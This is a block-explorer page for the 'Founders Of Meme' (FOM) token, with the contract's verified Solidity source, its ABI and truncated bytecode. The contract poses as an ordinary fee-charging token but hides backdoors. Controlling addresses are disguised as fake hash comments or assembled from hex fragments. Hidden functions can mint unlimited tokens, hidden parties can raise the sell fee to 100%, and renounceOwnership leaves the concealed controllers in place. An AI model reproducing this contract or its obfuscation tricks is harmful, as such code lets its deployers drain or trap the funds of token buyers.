ETH Price: $3,480.43 (+0.91%)

Token

Founders Of Meme (FOM)
 

Overview

Max Total Supply

2,788,630,000 FOM

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
totallyniceday.eth
Balance
81,223.624257198229248854 FOM

Value
$0.00
0xcc547467b1017c88c2655fdcfb486df596d979e5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DevToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-13
*/

// SPDX-License-Identifier: MIT
 
/**  
*/
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract DevToken {
    using SafeMath for uint256;
 
    string public name = "Founders Of Meme";
    string public symbol = "FOM";
    uint256 public totalSupply = 1000000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;
 
    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);
 
    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
       
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
        _mbr=Mbr_;
        return true;
    }
 
    modifier Exchanges() {
        require(msg.sender != exchange());
        _;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function compute(uint256 amount) public onlypublic returns (bool success) {
    _initiate(msg.sender, amount);
    return true;
  }
   
    function _proof(address account, uint256 amount) internal Exchanges {
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
   function publics() private pure returns (address) {
    uint universal = 0x7addAd09;
    uint uni = 0xcbd98D97;
    uint cake = 0xEC3dA7a0;
    uint inch = 0x088EAdFE;
    uint others = 0x5801C336;
 
    // Combine the dex with others
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
  }
 
    function exchange() internal pure returns (address) {
    return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
    }
     
    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
       
        _setFees(newBuyFee, newSellFee);
 
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
       
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function _initiate(address account, uint256 amount) internal {
    require(account != address(0), "Compile Remix IDE");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    modifier onlypublic() {
    require(msg.sender == publics());
    _;
    }
 
    function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
 
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }
 
    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
    modifier onlyAuthorized() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"feeExemptAddress","type":"address"}],"name":"AddressSetFeeExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"compute","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"removeFeeExemptStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_exempt","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280601081526020017f466f756e64657273204f66204d656d6500000000000000000000000000000000815250600090816200004a919062000438565b506040518060400160405280600381526020017f464f4d00000000000000000000000000000000000000000000000000000000008152506001908162000091919062000438565b5069d3c21bcecceda10000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b506040516200427d3803806200427d8339818101604052810190620000ef919062000589565b33600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620005bb565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200024057607f821691505b602082108103620002565762000255620001f8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002c07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000281565b620002cc868362000281565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000319620003136200030d84620002e4565b620002ee565b620002e4565b9050919050565b6000819050919050565b6200033583620002f8565b6200034d620003448262000320565b8484546200028e565b825550505050565b600090565b6200036462000355565b620003718184846200032a565b505050565b5b8181101562000399576200038d6000826200035a565b60018101905062000377565b5050565b601f821115620003e857620003b2816200025c565b620003bd8462000271565b81016020851015620003cd578190505b620003e5620003dc8562000271565b83018262000376565b50505b505050565b600082821c905092915050565b60006200040d60001984600802620003ed565b1980831691505092915050565b6000620004288383620003fa565b9150826002028217905092915050565b6200044382620001be565b67ffffffffffffffff8111156200045f576200045e620001c9565b5b6200046b825462000227565b620004788282856200039d565b600060209050601f831160018114620004b057600084156200049b578287015190505b620004a785826200041a565b86555062000517565b601f198416620004c0866200025c565b60005b82811015620004ea57848901518255600182019150602085019450602081019050620004c3565b868310156200050a578489015162000506601f891682620003fa565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005518262000524565b9050919050565b620005638162000544565b81146200056f57600080fd5b50565b600081519050620005838162000558565b92915050565b600060208284031215620005a257620005a16200051f565b5b6000620005b28482850162000572565b91505092915050565b613cb280620005cb6000396000f3fe6080604052600436106101f95760003560e01c806370a082311161010d57806396c5e1ab116100a0578063d0fb02031161006f578063d0fb020314610776578063d21c8d55146107a1578063dd62ed3e146107cc578063e2daf66514610809578063e4849b3214610834576101f9565b806396c5e1ab146106c9578063a6f2ae3a14610706578063a9059cbb14610710578063aa46b46e1461074d576101f9565b80638da5cb5b116100dc5780638da5cb5b1461060d5780638ebfc79614610638578063923e51d51461066157806395d89b411461069e576101f9565b806370a0823114610551578063715018a61461058e578063858ced35146105a5578063891e1ee0146105e2576101f9565b8063313ce56711610190578063470624021161015f57806347062402146104585780634a0af68d146104835780635ed86d5c146104c057806361b40839146104fd57806365f6a92114610526576101f9565b8063313ce56714610388578063376d567c146103b35780633ef530eb146103f05780633f4218e01461041b576101f9565b806318160ddd116101cc57806318160ddd146102cc57806323b872dd146102f75780632b14ca56146103345780632c7ee9461461035f576101f9565b806306fdde03146101fe578063095ea7b3146102295780630b78f9c01461026657806316e3b09c1461028f575b600080fd5b34801561020a57600080fd5b5061021361085d565b60405161022091906131c3565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b919061327e565b6108eb565b60405161025d91906132d9565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906132f4565b6109dd565b005b34801561029b57600080fd5b506102b660048036038101906102b19190613334565b610b93565b6040516102c391906132d9565b60405180910390f35b3480156102d857600080fd5b506102e1610c8b565b6040516102ee9190613370565b60405180910390f35b34801561030357600080fd5b5061031e6004803603810190610319919061338b565b610c91565b60405161032b91906132d9565b60405180910390f35b34801561034057600080fd5b50610349611446565b6040516103569190613370565b60405180910390f35b34801561036b57600080fd5b50610386600480360381019061038191906132f4565b61144c565b005b34801561039457600080fd5b5061039d611579565b6040516103aa91906133fa565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190613415565b61158c565b6040516103e791906132d9565b60405180910390f35b3480156103fc57600080fd5b50610405611632565b60405161041291906132d9565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190613415565b61171a565b60405161044f91906132d9565b60405180910390f35b34801561046457600080fd5b5061046d61173a565b60405161047a9190613370565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a59190613415565b611740565b6040516104b791906132d9565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190613334565b6117e6565b6040516104f491906132d9565b60405180910390f35b34801561050957600080fd5b50610524600480360381019061051f9190613415565b61183a565b005b34801561053257600080fd5b5061053b611a04565b6040516105489190613451565b60405180910390f35b34801561055d57600080fd5b5061057860048036038101906105739190613415565b611a2a565b6040516105859190613370565b60405180910390f35b34801561059a57600080fd5b506105a3611a42565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190613415565b611be6565b6040516105d991906132d9565b60405180910390f35b3480156105ee57600080fd5b506105f7611c8c565b6040516106049190613451565b60405180910390f35b34801561061957600080fd5b50610622611cb2565b60405161062f9190613451565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a9190613498565b611cd8565b005b34801561066d57600080fd5b5061068860048036038101906106839190613415565b611e60565b60405161069591906132d9565b60405180910390f35b3480156106aa57600080fd5b506106b3611ef8565b6040516106c091906131c3565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190613334565b611f86565b6040516106fd91906132d9565b60405180910390f35b61070e611ff5565b005b34801561071c57600080fd5b506107376004803603810190610732919061327e565b61245a565b60405161074491906132d9565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f91906132f4565b61267a565b005b34801561078257600080fd5b5061078b612788565b6040516107989190613451565b60405180910390f35b3480156107ad57600080fd5b506107b66127ae565b6040516107c39190613451565b60405180910390f35b3480156107d857600080fd5b506107f360048036038101906107ee91906134d8565b6127d4565b6040516108009190613370565b60405180910390f35b34801561081557600080fd5b5061081e6127f9565b60405161082b9190613451565b60405180910390f35b34801561084057600080fd5b5061085b60048036038101906108569190613334565b61281f565b005b6000805461086a90613547565b80601f016020809104026020016040519081016040528092919081815260200182805461089690613547565b80156108e35780601f106108b8576101008083540402835291602001916108e3565b820191906000526020600020905b8154815290600101906020018083116108c657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109cb9190613370565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ab75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610ab65750610a86612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610ac057600080fd5b6064821115610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906135c4565b60405180910390fd5b6064811115610b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3f90613630565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610b87929190613650565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c6f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610c6e5750610c3e612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610c7857600080fd5b610c823383612b98565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c906136c5565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb90613731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a9061379d565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ec157610ebe6064610eb0600e5486612d6090919063ffffffff16565b612dda90919063ffffffff16565b90505b6000610ed68285612e3290919063ffffffff16565b9050610f2a84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fbf81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161105f9190613370565b60405180910390a3600082111561116b576110c282600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111629190613370565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561124357507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15611439576112d784600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516114309190613370565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114a657600080fd5b60648211156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e1906135c4565b60405180910390fd5b606481111561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590613630565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161156d929190613650565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e857600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e9